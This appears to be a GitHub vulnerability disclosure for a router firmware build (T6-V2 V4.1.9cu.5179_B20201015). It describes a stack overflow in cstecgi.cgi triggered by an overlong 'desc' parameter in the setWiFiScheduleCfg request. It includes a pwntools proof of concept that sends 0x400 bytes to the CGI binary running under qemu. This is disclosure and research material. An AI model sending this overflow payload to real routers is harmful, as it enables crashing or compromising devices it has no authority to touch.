Skip to content

Latest commit

 

History

History

4.setWiFiScheduleCfg

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Overview

Affected version

T6-V2 V4.1.9cu.5179_B20201015

Vulnerability details

The vulnerability exists in the router's WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_00413be4 (at address 0x413be4) gets the JSON parameter desc, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

image-20220529103944191

image-20220529104042648

PoC

from pwn import *
import json

data = {
    "topicurl": "setting/setWiFiScheduleCfg",
    "addEffect": "1",
    "enable": "1",
    "desc": "A"*0x400,
    "week": "1",
    "sHour": "1",
    "sMinute": "1",
    "eHour": "1",
    "eMinute": "1",
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mipsel-static",
    "-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)
a.sendline(data.encode())

a.interactive()